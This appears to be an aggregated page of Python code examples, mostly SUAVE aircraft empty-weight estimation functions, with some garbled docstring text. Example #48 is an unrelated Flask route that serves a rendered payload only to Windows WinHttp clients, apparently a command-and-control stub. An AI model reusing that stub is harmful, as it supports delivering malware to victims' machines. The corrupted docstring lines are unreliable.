                Nlim - limit load factor at zero fuel weight of the aircraft [dimensionless]
                TOW - maximum takeoff weight of the aircraft [kilograms]
                zfw - maximum zero fuel weight of the aircraft [kilograms]
                num_eng - number of engines on the aircraft [dimensionless]
                num_pax - number of passengers on the aircraft [dimensionless]
                wt_cargo - weight of the bulk cargo being carried on the aircraft [kilograms]
                num_seats - number of seats installed on the aircraft [dimensionless]
                ctrl - specifies if the control system is "fully powered", "partially powered", or not powered [dimensionless]
                ac - determines type of instruments, electronics, and operating items based on types: 
                    "short-range", "medium-range", "long-range", "business", "cargo", "commuter", "sst" [dimensionless]
                w2h - tail length (distance from the airplane c.g. to the horizontal tail aerodynamic center) [meters]

            fuselage - a data dictionary with the fields:
                area - fuselage wetted area [meters**2]
                diff_p - Maximum fuselage pressure differential [Pascal]
                width - width of the fuselage [meters]
                height - height of the fuselage [meters]
                length - length of the fuselage [meters]                     

            horizontal
                area - area of the horizontal tail [meters**2]
                span - span of the horizontal tail [meters]
                sweep - sweep of the horizontal tail [radians]
                mac - mean aerodynamic chord of the horizontal tail [meters]
                t_c - thickness-to-chord ratio of the horizontal tail [dimensionless]
                exposed - exposed area ratio for the horizontal tail [dimensionless]

            vertical
                area - area of the vertical tail [meters**2]
                span - sweight = weight * Units.lbpan of the vertical [meters]
                t_c - thickness-to-chord ratio of the vertical tail [dimensionless]
                sweep - sweep angle of the vertical tail [radians]
                t_tail - factor to determine if aircraft has a t-tail, "yes" [dimensionless]

        Outputs:
            output - a data dictionary with fields:
                wt_payload - weight of the passengers plus baggage and paid cargo [kilograms]
                wt_pax - weight of all the passengers [kilogram]
                wt_bag - weight of all the baggage [kilogram]
                wt_fuel - weight of the fuel carried[kilogram]
                wt_empty - operating empty weight of the aircraft [kilograms]

        Assumptions:
            calculated aircraft weight from correlations created per component of historical aircraft
    """     

    # Unpack inputs
    Nult       = vehicle.envelope.ultimate_load
    Nlim       = vehicle.envelope.limit_load
    TOW        = vehicle.mass_properties.max_takeoff
    wt_zf      = vehicle.mass_properties.max_zero_fuel
    num_pax    = vehicle.passengers
    wt_cargo   = vehicle.mass_properties.cargo
    num_seats  = vehicle.fuselages['fuselage'].number_coach_seats
    ctrl_type  = vehicle.systems.control
    ac_type    = vehicle.systems.accessories         
    
    
    propulsor_name = vehicle.propulsors.keys()[0] #obtain the key for the propulsor for assignment purposes
    
    propulsors     = vehicle.propulsors[propulsor_name]
    num_eng    = propulsors.number_of_engines
    if propulsor_name=='turbofan' or propulsor_name=='Turbofan':
        # thrust_sls should be sea level static thrust. Using design thrust results in wrong propulsor 
        # weight estimation. Engine sizing should return this value.
        # for now, using thrust_sls = design_thrust / 0.20, just for optimization evaluations
        thrust_sls                       = propulsors.sealevel_static_thrust
        wt_engine_jet                    = Propulsion.engine_jet(thrust_sls)
        wt_propulsion                    = Propulsion.integrated_propulsion(wt_engine_jet,num_eng)
        propulsors.mass_properties.mass  = wt_propulsion 
        
    else: #propulsor used is not a turbo_fan; assume mass_properties defined outside model
        wt_propulsion                   = propulsors.mass_properties.mass

        if wt_propulsion==0:
            warnings.warn("Propulsion mass= 0 ;e there is no Engine Weight being added to the Configuration", stacklevel=1)    
    
    S_gross_w  = vehicle.reference_area
    #S_gross_w  = vehicle.wings['main_wing'].Areas.reference
    if not vehicle.wings.has_key('main_wing'):
        wt_wing = 0.0
        wing_c_r = 0.0
        warnings.warn("There is no Wing Weight being added to the Configuration", stacklevel=1)
        
    else:
        b          = vehicle.wings['main_wing'].spans.projected
        lambda_w   = vehicle.wings['main_wing'].taper
        t_c_w      = vehicle.wings['main_wing'].thickness_to_chord
        sweep_w    = vehicle.wings['main_wing'].sweep
        mac_w      = vehicle.wings['main_wing'].chords.mean_aerodynamic
        wing_c_r   = vehicle.wings['main_wing'].chords.root
        wt_wing    = wing_main(S_gross_w,b,lambda_w,t_c_w,sweep_w,Nult,TOW,wt_zf)
        vehicle.wings['main_wing'].mass_properties.mass = wt_wing        

    S_fus      = vehicle.fuselages['fuselage'].areas.wetted
    diff_p_fus = vehicle.fuselages['fuselage'].differential_pressure
    w_fus      = vehicle.fuselages['fuselage'].width
    h_fus      = vehicle.fuselages['fuselage'].heights.maximum
    l_fus      = vehicle.fuselages['fuselage'].lengths.total

    if not vehicle.wings.has_key('horizontal_stabilizer'):
        wt_tail_horizontal = 0.0
        S_h = 0.0
        warnings.warn("There is no Horizontal Tail Weight being added to the Configuration", stacklevel=1)
        
    else:    
        S_h            = vehicle.wings['horizontal_stabilizer'].areas.reference
        b_h            = vehicle.wings['horizontal_stabilizer'].spans.projected
        sweep_h        = vehicle.wings['horizontal_stabilizer'].sweep
        mac_h          = vehicle.wings['horizontal_stabilizer'].chords.mean_aerodynamic
        t_c_h          = vehicle.wings['horizontal_stabilizer'].thickness_to_chord
        h_tail_exposed = vehicle.wings['horizontal_stabilizer'].areas.exposed / vehicle.wings['horizontal_stabilizer'].areas.wetted
        l_w2h      = vehicle.wings['horizontal_stabilizer'].origin[0] + vehicle.wings['horizontal_stabilizer'].aerodynamic_center[0] - vehicle.wings['main_wing'].origin[0] - vehicle.wings['main_wing'].aerodynamic_center[0] #Need to check this is the length of the horizontal tail moment arm
        wt_tail_horizontal = tail_horizontal(b_h,sweep_h,Nult,S_h,TOW,mac_w,mac_h,l_w2h,t_c_h, h_tail_exposed)                
        vehicle.wings['horizontal_stabilizer'].mass_properties.mass = wt_tail_horizontal        

    if not vehicle.wings.has_key('vertical_stabilizer'):   
        output_3 = Data()
        output_3.wt_tail_vertical = 0.0
        output_3.wt_rudder = 0.0
        S_v = 0.0
        warnings.warn("There is no Vertical Tail Weight being added to the Configuration", stacklevel=1)    
        
    else:     
        S_v        = vehicle.wings['vertical_stabilizer'].areas.reference
        b_v        = vehicle.wings['vertical_stabilizer'].spans.projected
        t_c_v      = vehicle.wings['vertical_stabilizer'].thickness_to_chord
        sweep_v    = vehicle.wings['vertical_stabilizer'].sweep
        t_tail     = vehicle.wings['vertical_stabilizer'].t_tail  
        output_3   = tail_vertical(S_v,Nult,b_v,TOW,t_c_v,sweep_v,S_gross_w,t_tail)
        vehicle.wings['vertical_stabilizer'].mass_properties.mass = output_3.wt_tail_vertical + output_3.wt_rudder
        
    # Calculating Empty Weight of Aircraft
    wt_landing_gear    = landing_gear(TOW)
    wt_fuselage        = tube(S_fus, diff_p_fus,w_fus,h_fus,l_fus,Nlim,wt_zf,wt_wing,wt_propulsion, wing_c_r)
    output_2           = systems(num_seats, ctrl_type, S_h, S_v, S_gross_w, ac_type)

    # Calculate the equipment empty weight of the aircraft
    wt_empty           = (wt_wing + wt_fuselage + wt_landing_gear + wt_propulsion + output_2.wt_systems + \
                          wt_tail_horizontal + output_3.wt_tail_vertical + output_3.wt_rudder) 
    vehicle.fuselages['fuselage'].mass_properties.mass = wt_fuselage


    
    # packup outputs
    output                   = payload(TOW, wt_empty, num_pax,wt_cargo)
    output.wing              = wt_wing
    output.fuselage          = wt_fuselage
    output.propulsion        = wt_propulsion
    output.landing_gear      = wt_landing_gear
    output.horizontal_tail   = wt_tail_horizontal
    output.vertical_tail     = output_3.wt_tail_vertical
    output.rudder            = output_3.wt_rudder
    output.systems                   = output_2.wt_systems       
    output.systems_breakdown = Data()
    output.systems_breakdown.control_systems   = output_2.wt_flt_ctrl    
    output.systems_breakdown.apu               = output_2.wt_apu         
    output.systems_breakdown.hydraulics        = output_2.wt_hyd_pnu     
    output.systems_breakdown.instruments       = output_2.wt_instruments 
    output.systems_breakdown.avionics          = output_2.wt_avionics    
    output.systems_breakdown.optionals         = output_2.wt_opitems     
    output.systems_breakdown.electrical        = output_2.wt_elec        
    output.systems_breakdown.air_conditioner   = output_2.wt_ac          
    output.systems_breakdown.furnish           = output_2.wt_furnish    
    
    #define weights components

    try: 
        landing_gear_component=vehicle.landing_gear #landing gear previously defined
    except AttributeError: # landing gear not defined
        landing_gear_component=SUAVE.Components.Landing_Gear.Landing_Gear()
        vehicle.landing_gear=landing_gear_component
    
    control_systems   = SUAVE.Components.Physical_Component()
    electrical_systems= SUAVE.Components.Physical_Component()
    passengers        = SUAVE.Components.Physical_Component()
    furnishings       = SUAVE.Components.Physical_Component()
    air_conditioner   = SUAVE.Components.Physical_Component()
    fuel              = SUAVE.Components.Physical_Component()
    apu               = SUAVE.Components.Physical_Component()
    hydraulics        = SUAVE.Components.Physical_Component()
    optionals         = SUAVE.Components.Physical_Component()
    rudder            = SUAVE.Components.Physical_Component()
    avionics          = SUAVE.Components.Energy.Peripherals.Avionics()
    
    
    #assign output weights to objects
    landing_gear_component.mass_properties.mass                      = output.landing_gear
    control_systems.mass_properties.mass                             = output.systems_breakdown.control_systems
    electrical_systems.mass_properties.mass                          = output.systems_breakdown.electrical
    passengers.mass_properties.mass                                  = output.pax + output.bag
    furnishings.mass_properties.mass                                 = output.systems_breakdown.furnish
    avionics.mass_properties.mass                                    = output.systems_breakdown.avionics \
        + output.systems_breakdown.instruments                  
    air_conditioner.mass_properties.mass                             = output.systems_breakdown.air_conditioner
    fuel.mass_properties.mass                                        = output.fuel
    apu.mass_properties.mass                                         = output.systems_breakdown.apu
    hydraulics.mass_properties.mass                                  = output.systems_breakdown.hydraulics
    optionals.mass_properties.mass                                   = output.systems_breakdown.optionals
    rudder.mass_properties.mass                                      = output.rudder
    
    
    #assign components to vehicle
    vehicle.control_systems                     = control_systems
    vehicle.electrical_systems                  = electrical_systems
    vehicle.avionics                            = avionics
    vehicle.furnishings                         = furnishings
    vehicle.passenger_weights                   = passengers 
    vehicle.air_conditioner                     = air_conditioner
    vehicle.fuel                                = fuel
    vehicle.apu                                 = apu
    vehicle.hydraulics                          = hydraulics
    vehicle.optionals                           = optionals
    vehicle.landing_gear                        = landing_gear_component
    vehicle.wings['vertical_stabilizer'].rudder = rudder
    
    

    return output
Пример #48
0
def connect():
    if not 'WinHttp.WinHttpRequest' in request.headers.get('User-Agent'):
        return ''
    global server
    p = payload.payload()
    return render_template_string(p.connect(), server=server)
Пример #49
0
def empty(vehicle):
    """ output = SUAVE.Methods.Weights.Correlations.Tube_Wing.empty(engine,wing,aircraft,fuselage,horizontal,vertical)
        This is for a standard Tube and Wing aircraft configuration.        

        Inputs:
            engine - a data dictionary with the fields:                    
                thrust_sls - sea level static thrust of a single engine [Newtons]

            wing - a data dictionary with the fields:
                gross_area - wing gross area [meters**2]
                span - span of the wing [meters]
                taper - taper ratio of the wing [dimensionless]
                t_c - thickness-to-chord ratio of the wing [dimensionless]
                sweep - sweep angle of the wing [radians]
                mac - mean aerodynamic chord of the wing [meters]
                r_c - wing root chord [meters]

            aircraft - a data dictionary with the fields:                    
                Nult - ultimate load of the aircraft [dimensionless]
                Nlim - limit load factor at zero fuel weight of the aircraft [dimensionless]
                TOW - maximum takeoff weight of the aircraft [kilograms]
                zfw - maximum zero fuel weight of the aircraft [kilograms]
                num_eng - number of engines on the aircraft [dimensionless]
                num_pax - number of passengers on the aircraft [dimensionless]
                wt_cargo - weight of the bulk cargo being carried on the aircraft [kilograms]
                num_seats - number of seats installed on the aircraft [dimensionless]
                ctrl - specifies if the control system is "fully powered", "partially powered", or not powered [dimensionless]
                ac - determines type of instruments, electronics, and operating items based on types: 
                    "short-range", "medium-range", "long-range", "business", "cargo", "commuter", "sst" [dimensionless]
                w2h - tail length (distance from the airplane c.g. to the horizontal tail aerodynamic center) [meters]

            fuselage - a data dictionary with the fields:
                area - fuselage wetted area [meters**2]
                diff_p - Maximum fuselage pressure differential [Pascal]
                width - width of the fuselage [meters]
                height - height of the fuselage [meters]
                length - length of the fuselage [meters]                     

            horizontal
                area - area of the horizontal tail [meters**2]
                span - span of the horizontal tail [meters]
                sweep - sweep of the horizontal tail [radians]
                mac - mean aerodynamic chord of the horizontal tail [meters]
                t_c - thickness-to-chord ratio of the horizontal tail [dimensionless]
                exposed - exposed area ratio for the horizontal tail [dimensionless]

            vertical
                area - area of the vertical tail [meters**2]
                span - sweight = weight * Units.lbpan of the vertical [meters]
                t_c - thickness-to-chord ratio of the vertical tail [dimensionless]
                sweep - sweep angle of the vertical tail [radians]
                t_tail - factor to determine if aircraft has a t-tail, "yes" [dimensionless]

        Outputs:
            output - a data dictionary with fields:
                wt_payload - weight of the passengers plus baggage and paid cargo [kilograms]
                wt_pax - weight of all the passengers [kilogram]
                wt_bag - weight of all the baggage [kilogram]
                wt_fuel - weight of the fuel carried[kilogram]
                wt_empty - operating empty weight of the aircraft [kilograms]

        Assumptions:
            calculated aircraft weight from correlations created per component of historical aircraft
    """

    # Unpack inputs
    Nult = vehicle.envelope.ultimate_load
    Nlim = vehicle.envelope.limit_load
    TOW = vehicle.mass_properties.max_takeoff
    wt_zf = vehicle.mass_properties.max_zero_fuel
    num_pax = vehicle.passengers
    wt_cargo = vehicle.mass_properties.cargo
    num_seats = vehicle.fuselages['fuselage'].number_coach_seats
    ctrl_type = vehicle.systems.control
    ac_type = vehicle.systems.accessories

    propulsor_name = vehicle.propulsors.keys()[
        0]  #obtain the key for the propulsor for assignment purposes

    propulsors = vehicle.propulsors[propulsor_name]
    num_eng = propulsors.number_of_engines
    if propulsor_name == 'turbofan' or propulsor_name == 'Turbofan':
        # thrust_sls should be sea level static thrust. Using design thrust results in wrong propulsor
        # weight estimation. Engine sizing should return this value.
        # for now, using thrust_sls = design_thrust / 0.20, just for optimization evaluations
        thrust_sls = propulsors.sealevel_static_thrust
        wt_engine_jet = Propulsion.engine_jet(thrust_sls)
        wt_propulsion = Propulsion.integrated_propulsion(
            wt_engine_jet, num_eng)
        propulsors.mass_properties.mass = wt_propulsion

    else:  #propulsor used is not a turbo_fan; assume mass_properties defined outside model
        wt_propulsion = propulsors.mass_properties.mass

        if wt_propulsion == 0:
            warnings.warn(
                "Propulsion mass= 0 ;e there is no Engine Weight being added to the Configuration",
                stacklevel=1)

    S_gross_w = vehicle.reference_area
    #S_gross_w  = vehicle.wings['main_wing'].Areas.reference
    if not vehicle.wings.has_key('main_wing'):
        wt_wing = 0.0
        wing_c_r = 0.0
        warnings.warn(
            "There is no Wing Weight being added to the Configuration",
            stacklevel=1)

    else:
        b = vehicle.wings['main_wing'].spans.projected
        lambda_w = vehicle.wings['main_wing'].taper
        t_c_w = vehicle.wings['main_wing'].thickness_to_chord
        sweep_w = vehicle.wings['main_wing'].sweep
        mac_w = vehicle.wings['main_wing'].chords.mean_aerodynamic
        wing_c_r = vehicle.wings['main_wing'].chords.root
        wt_wing = wing_main(S_gross_w, b, lambda_w, t_c_w, sweep_w, Nult, TOW,
                            wt_zf)
        vehicle.wings['main_wing'].mass_properties.mass = wt_wing

    S_fus = vehicle.fuselages['fuselage'].areas.wetted
    diff_p_fus = vehicle.fuselages['fuselage'].differential_pressure
    w_fus = vehicle.fuselages['fuselage'].width
    h_fus = vehicle.fuselages['fuselage'].heights.maximum
    l_fus = vehicle.fuselages['fuselage'].lengths.total

    if not vehicle.wings.has_key('horizontal_stabilizer'):
        wt_tail_horizontal = 0.0
        S_h = 0.0
        warnings.warn(
            "There is no Horizontal Tail Weight being added to the Configuration",
            stacklevel=1)

    else:
        S_h = vehicle.wings['horizontal_stabilizer'].areas.reference
        b_h = vehicle.wings['horizontal_stabilizer'].spans.projected
        sweep_h = vehicle.wings['horizontal_stabilizer'].sweep
        mac_h = vehicle.wings['horizontal_stabilizer'].chords.mean_aerodynamic
        t_c_h = vehicle.wings['horizontal_stabilizer'].thickness_to_chord
        h_tail_exposed = vehicle.wings[
            'horizontal_stabilizer'].areas.exposed / vehicle.wings[
                'horizontal_stabilizer'].areas.wetted
        l_w2h = vehicle.wings['horizontal_stabilizer'].origin[
            0] + vehicle.wings['horizontal_stabilizer'].aerodynamic_center[
                0] - vehicle.wings['main_wing'].origin[0] - vehicle.wings[
                    'main_wing'].aerodynamic_center[
                        0]  #Need to check this is the length of the horizontal tail moment arm
        wt_tail_horizontal = tail_horizontal(b_h, sweep_h, Nult, S_h, TOW,
                                             mac_w, mac_h, l_w2h, t_c_h,
                                             h_tail_exposed)
        vehicle.wings[
            'horizontal_stabilizer'].mass_properties.mass = wt_tail_horizontal

    if not vehicle.wings.has_key('vertical_stabilizer'):
        output_3 = Data()
        output_3.wt_tail_vertical = 0.0
        output_3.wt_rudder = 0.0
        S_v = 0.0
        warnings.warn(
            "There is no Vertical Tail Weight being added to the Configuration",
            stacklevel=1)

    else:
        S_v = vehicle.wings['vertical_stabilizer'].areas.reference
        b_v = vehicle.wings['vertical_stabilizer'].spans.projected
        t_c_v = vehicle.wings['vertical_stabilizer'].thickness_to_chord
        sweep_v = vehicle.wings['vertical_stabilizer'].sweep
        t_tail = vehicle.wings['vertical_stabilizer'].t_tail
        output_3 = tail_vertical(S_v, Nult, b_v, TOW, t_c_v, sweep_v,
                                 S_gross_w, t_tail)
        vehicle.wings[
            'vertical_stabilizer'].mass_properties.mass = output_3.wt_tail_vertical + output_3.wt_rudder

    # Calculating Empty Weight of Aircraft
    wt_landing_gear = landing_gear(TOW)
    wt_fuselage = tube(S_fus, diff_p_fus, w_fus, h_fus, l_fus, Nlim, wt_zf,
                       wt_wing, wt_propulsion, wing_c_r)
    output_2 = systems(num_seats, ctrl_type, S_h, S_v, S_gross_w, ac_type)

    # Calculate the equipment empty weight of the aircraft
    wt_empty           = (wt_wing + wt_fuselage + wt_landing_gear + wt_propulsion + output_2.wt_systems + \
                          wt_tail_horizontal + output_3.wt_tail_vertical + output_3.wt_rudder)
    vehicle.fuselages['fuselage'].mass_properties.mass = wt_fuselage

    # packup outputs
    output = payload(TOW, wt_empty, num_pax, wt_cargo)
    output.wing = wt_wing
    output.fuselage = wt_fuselage
    output.propulsion = wt_propulsion
    output.landing_gear = wt_landing_gear
    output.horizontal_tail = wt_tail_horizontal
    output.vertical_tail = output_3.wt_tail_vertical
    output.rudder = output_3.wt_rudder
    output.systems = output_2.wt_systems
    output.systems_breakdown = Data()
    output.systems_breakdown.control_systems = output_2.wt_flt_ctrl
    output.systems_breakdown.apu = output_2.wt_apu
    output.systems_breakdown.hydraulics = output_2.wt_hyd_pnu
    output.systems_breakdown.instruments = output_2.wt_instruments
    output.systems_breakdown.avionics = output_2.wt_avionics
    output.systems_breakdown.optionals = output_2.wt_opitems
    output.systems_breakdown.electrical = output_2.wt_elec
    output.systems_breakdown.air_conditioner = output_2.wt_ac
    output.systems_breakdown.furnish = output_2.wt_furnish

    #define weights components

    try:
        landing_gear_component = vehicle.landing_gear  #landing gear previously defined
    except AttributeError:  # landing gear not defined
        landing_gear_component = SUAVE.Components.Landing_Gear.Landing_Gear()
        vehicle.landing_gear = landing_gear_component

    control_systems = SUAVE.Components.Physical_Component()
    electrical_systems = SUAVE.Components.Physical_Component()
    passengers = SUAVE.Components.Physical_Component()
    furnishings = SUAVE.Components.Physical_Component()
    air_conditioner = SUAVE.Components.Physical_Component()
    fuel = SUAVE.Components.Physical_Component()
    apu = SUAVE.Components.Physical_Component()
    hydraulics = SUAVE.Components.Physical_Component()
    optionals = SUAVE.Components.Physical_Component()
    rudder = SUAVE.Components.Physical_Component()
    avionics = SUAVE.Components.Energy.Peripherals.Avionics()

    #assign output weights to objects
    landing_gear_component.mass_properties.mass = output.landing_gear
    control_systems.mass_properties.mass = output.systems_breakdown.control_systems
    electrical_systems.mass_properties.mass = output.systems_breakdown.electrical
    passengers.mass_properties.mass = output.pax + output.bag
    furnishings.mass_properties.mass = output.systems_breakdown.furnish
    avionics.mass_properties.mass                                    = output.systems_breakdown.avionics \
        + output.systems_breakdown.instruments
    air_conditioner.mass_properties.mass = output.systems_breakdown.air_conditioner
    fuel.mass_properties.mass = output.fuel
    apu.mass_properties.mass = output.systems_breakdown.apu
    hydraulics.mass_properties.mass = output.systems_breakdown.hydraulics
    optionals.mass_properties.mass = output.systems_breakdown.optionals
    rudder.mass_properties.mass = output.rudder

    #assign components to vehicle
    vehicle.control_systems = control_systems
    vehicle.electrical_systems = electrical_systems
    vehicle.avionics = avionics
    vehicle.furnishings = furnishings
    vehicle.passenger_weights = passengers
    vehicle.air_conditioner = air_conditioner
    vehicle.fuel = fuel
    vehicle.apu = apu
    vehicle.hydraulics = hydraulics
    vehicle.optionals = optionals
    vehicle.landing_gear = landing_gear_component
    vehicle.wings['vertical_stabilizer'].rudder = rudder

    return output
Пример #50
0
def empty_custom_eng(vehicle, propulsor):
    """ output = SUAVE.Methods.Weights.Correlations.Tube_Wing.empty(engine,wing,aircraft,fuselage,horizontal,vertical)
        This is for a standard Tube and Wing aircraft configuration.        
        
        Inputs:
            propulsor - a propulsor object
                mass_properties.mass
            
            wing - a data dictionary with the fields:
                gross_area - wing gross area [meters**2]
                span - span of the wing [meters]
                taper - taper ratio of the wing [dimensionless]
                t_c - thickness-to-chord ratio of the wing [dimensionless]
                sweep - sweep angle of the wing [radians]
                mac - mean aerodynamic chord of the wing [meters]
                r_c - wing root chord [meters]
                
            aircraft - a data dictionary with the fields:                    
                Nult - ultimate load of the aircraft [dimensionless]
                Nlim - limit load factor at zero fuel weight of the aircraft [dimensionless]
                TOW - maximum takeoff weight of the aircraft [kilograms]
                zfw - maximum zero fuel weight of the aircraft [kilograms]
                num_eng - number of engines on the aircraft [dimensionless]
                num_pax - number of passengers on the aircraft [dimensionless]
                wt_cargo - weight of the bulk cargo being carried on the aircraft [kilograms]
                num_seats - number of seats installed on the aircraft [dimensionless]
                ctrl - specifies if the control system is "fully powered", "partially powered", or not powered [dimensionless]
                ac - determines type of instruments, electronics, and operating items based on types: 
                    "short-range", "medium-range", "long-range", "business", "cargo", "commuter", "sst" [dimensionless]
                w2h - tail length (distance from the airplane c.g. to the horizontal tail aerodynamic center) [meters]
                
            fuselage - a data dictionary with the fields:
                area - fuselage wetted area [meters**2]
                diff_p - Maximum fuselage pressure differential [Pascal]
                width - width of the fuselage [meters]
                height - height of the fuselage [meters]
                length - length of the fuselage [meters]                     
            
            horizontal
                area - area of the horizontal tail [meters**2]
                span - span of the horizontal tail [meters]
                sweep - sweep of the horizontal tail [radians]
                mac - mean aerodynamic chord of the horizontal tail [meters]
                t_c - thickness-to-chord ratio of the horizontal tail [dimensionless]
                exposed - exposed area ratio for the horizontal tail [dimensionless]
            
            vertical
                area - area of the vertical tail [meters**2]
                span - sweight = weight * Units.lbpan of the vertical [meters]
                t_c - thickness-to-chord ratio of the vertical tail [dimensionless]
                sweep - sweep angle of the vertical tail [radians]
                t_tail - factor to determine if aircraft has a t-tail, "yes" [dimensionless]
    
        Outputs:
            output - a data dictionary with fields:
                wt_payload - weight of the passengers plus baggage and paid cargo [kilograms]
                wt_pax - weight of all the passengers [kilogram]
                wt_bag - weight of all the baggage [kilogram]
                wt_fuel - weight of the fuel carried[kilogram]
                wt_empty - operating empty weight of the aircraft [kilograms]
                
        Assumptions:
            calculated aircraft weight from correlations created per component of historical aircraft
    """

    # Unpack inputs
    #thrust_sls = vehicle.propulsors['Turbo Fan'].thrust.design

    S_gross_w = vehicle.reference_area
    #S_gross_w  = vehicle.wings['Main Wing'].Areas.reference
    b = vehicle.wings['Main Wing'].spans.projected
    lambda_w = vehicle.wings['Main Wing'].taper
    t_c_w = vehicle.wings['Main Wing'].thickness_to_chord
    sweep_w = vehicle.wings['Main Wing'].sweep
    mac_w = vehicle.wings['Main Wing'].chords.mean_aerodynamic
    wing_c_r = vehicle.wings['Main Wing'].chords.root

    Nult = vehicle.envelope.ultimate_load
    Nlim = vehicle.envelope.limit_load
    TOW = vehicle.mass_properties.max_takeoff
    wt_zf = vehicle.mass_properties.max_zero_fuel
    num_pax = vehicle.passengers
    wt_cargo = vehicle.mass_properties.cargo
    num_seats = vehicle.fuselages.Fuselage.number_coach_seats
    ctrl_type = vehicle.systems.control
    ac_type = vehicle.systems.accessories
    #l_w2h      = vehicle.wings['Horizontal Stabilizer'].position[0] + vehicle.wings['Horizontal Stabilizer'].aerodynamic_center[0] - vehicle.wings['Main Wing'].position[0] - vehicle.wings['Main Wing'].aerodynamic_center[0] #Need to check this is the length of the horizontal tail moment arm
    l_w2h = vehicle.w2h
    S_fus = vehicle.fuselages.Fuselage.areas.wetted
    diff_p_fus = vehicle.fuselages.Fuselage.differential_pressure
    w_fus = vehicle.fuselages.Fuselage.width
    h_fus = vehicle.fuselages.Fuselage.heights.maximum
    l_fus = vehicle.fuselages.Fuselage.lengths.total

    S_h = vehicle.wings['Horizontal Stabilizer'].areas.reference
    b_h = vehicle.wings['Horizontal Stabilizer'].spans.projected
    sweep_h = vehicle.wings['Horizontal Stabilizer'].sweep
    mac_h = vehicle.wings['Horizontal Stabilizer'].chords.mean_aerodynamic
    t_c_h = vehicle.wings['Horizontal Stabilizer'].thickness_to_chord
    h_tail_exposed = vehicle.wings[
        'Horizontal Stabilizer'].areas.exposed / vehicle.wings[
            'Horizontal Stabilizer'].areas.wetted

    S_v = vehicle.wings['Vertical Stabilizer'].areas.reference
    b_v = vehicle.wings['Vertical Stabilizer'].spans.projected
    t_c_v = vehicle.wings['Vertical Stabilizer'].thickness_to_chord
    sweep_v = vehicle.wings['Vertical Stabilizer'].sweep
    t_tail = vehicle.wings['Vertical Stabilizer'].t_tail

    # process
    # Calculating Empty Weight of Aircraft

    wt_wing = wing_main(S_gross_w, b, lambda_w, t_c_w, sweep_w, Nult, TOW,
                        wt_zf)
    wt_landing_gear = landing_gear(TOW)

    wt_propulsion = propulsor.mass_properties.mass
    wt_fuselage = tube(S_fus, diff_p_fus, w_fus, h_fus, l_fus, Nlim, wt_zf,
                       wt_wing, wt_propulsion, wing_c_r)
    output_2 = systems(num_seats, ctrl_type, S_h, S_v, S_gross_w, ac_type)
    wt_tail_horizontal = tail_horizontal(b_h, sweep_h, Nult, S_h, TOW, mac_w,
                                         mac_h, l_w2h, t_c_h, h_tail_exposed)
    output_3 = tail_vertical(S_v, Nult, b_v, TOW, t_c_v, sweep_v, S_gross_w,
                             t_tail)

    # Calculate the equipment empty weight of the aircraft
    wt_empty           = (wt_wing + wt_fuselage + wt_landing_gear + wt_propulsion + output_2.wt_systems + \
                          wt_tail_horizontal + output_3.wt_tail_vertical + output_3.wt_rudder)

    vehicle.wings['Main Wing'].mass_properties.mass = wt_wing
    vehicle.wings[
        'Horizontal Stabilizer'].mass_properties.mass = wt_tail_horizontal
    vehicle.wings[
        'Vertical Stabilizer'].mass_properties.mass = output_3.wt_tail_vertical + output_3.wt_rudder
    vehicle.fuselages.Fuselage.mass_properties.mass = wt_fuselage
    #vehicle.propulsors['Turbo Fan'].mass_properties.mass = wt_engine_jet

    # packup outputs
    output = payload(TOW, wt_empty, num_pax, wt_cargo)

    output.wing = wt_wing
    output.fuselage = wt_fuselage
    output.propulsion = wt_propulsion
    output.landing_gear = wt_landing_gear
    output.systems = output_2.wt_systems
    output.wt_furnish = output_2.wt_furnish
    output.horizontal_tail = wt_tail_horizontal
    output.vertical_tail = output_3.wt_tail_vertical
    output.rudder = output_3.wt_rudder

    return output
Пример #51
0
def empty(vehicle):
    """ output = SUAVE.Methods.Weights.Correlations.Tube_Wing.empty(engine,wing,aircraft,fuselage,horizontal,vertical)
        This is for a standard Tube and Wing aircraft configuration.        
        
        Inputs:
            engine - a data dictionary with the fields:                    
                thrust_sls - sea level static thrust of a single engine [Newtons]
            
            wing - a data dictionary with the fields:
                gross_area - wing gross area [meters**2]
                span - span of the wing [meters]
                taper - taper ratio of the wing [dimensionless]
                t_c - thickness-to-chord ratio of the wing [dimensionless]
                sweep - sweep angle of the wing [radians]
                mac - mean aerodynamic chord of the wing [meters]
                r_c - wing root chord [meters]
                
            aircraft - a data dictionary with the fields:                    
                Nult - ultimate load of the aircraft [dimensionless]
                Nlim - limit load factor at zero fuel weight of the aircraft [dimensionless]
                TOW - maximum takeoff weight of the aircraft [kilograms]
                zfw - maximum zero fuel weight of the aircraft [kilograms]
                num_eng - number of engines on the aircraft [dimensionless]
                num_pax - number of passengers on the aircraft [dimensionless]
                wt_cargo - weight of the bulk cargo being carried on the aircraft [kilograms]
                num_seats - number of seats installed on the aircraft [dimensionless]
                ctrl - specifies if the control system is "fully powered", "partially powered", or not powered [dimensionless]
                ac - determines type of instruments, electronics, and operating items based on types: 
                    "short-range", "medium-range", "long-range", "business", "cargo", "commuter", "sst" [dimensionless]
                w2h - tail length (distance from the airplane c.g. to the horizontal tail aerodynamic center) [meters]
                
            fuselage - a data dictionary with the fields:
                area - fuselage wetted area [meters**2]
                diff_p - Maximum fuselage pressure differential [Pascal]
                width - width of the fuselage [meters]
                height - height of the fuselage [meters]
                length - length of the fuselage [meters]                     
            
            horizontal
                area - area of the horizontal tail [meters**2]
                span - span of the horizontal tail [meters]
                sweep - sweep of the horizontal tail [radians]
                mac - mean aerodynamic chord of the horizontal tail [meters]
                t_c - thickness-to-chord ratio of the horizontal tail [dimensionless]
                exposed - exposed area ratio for the horizontal tail [dimensionless]
            
            vertical
                area - area of the vertical tail [meters**2]
                span - sweight = weight * Units.lbpan of the vertical [meters]
                t_c - thickness-to-chord ratio of the vertical tail [dimensionless]
                sweep - sweep angle of the vertical tail [radians]
                t_tail - factor to determine if aircraft has a t-tail, "yes" [dimensionless]
    
        Outputs:
            output - a data dictionary with fields:
                wt_payload - weight of the passengers plus baggage and paid cargo [kilograms]
                wt_pax - weight of all the passengers [kilogram]
                wt_bag - weight of all the baggage [kilogram]
                wt_fuel - weight of the fuel carried[kilogram]
                wt_empty - operating empty weight of the aircraft [kilograms]
                
        Assumptions:
            calculated aircraft weight from correlations created per component of historical aircraft
    """     

    # Unpack inputs
    Nult       = vehicle.envelope.ultimate_load
    Nlim       = vehicle.envelope.limit_load
    TOW        = vehicle.mass_properties.max_takeoff
    wt_zf      = vehicle.mass_properties.max_zero_fuel
    num_pax    = vehicle.passengers

    wt_cargo   = vehicle.mass_properties.cargo
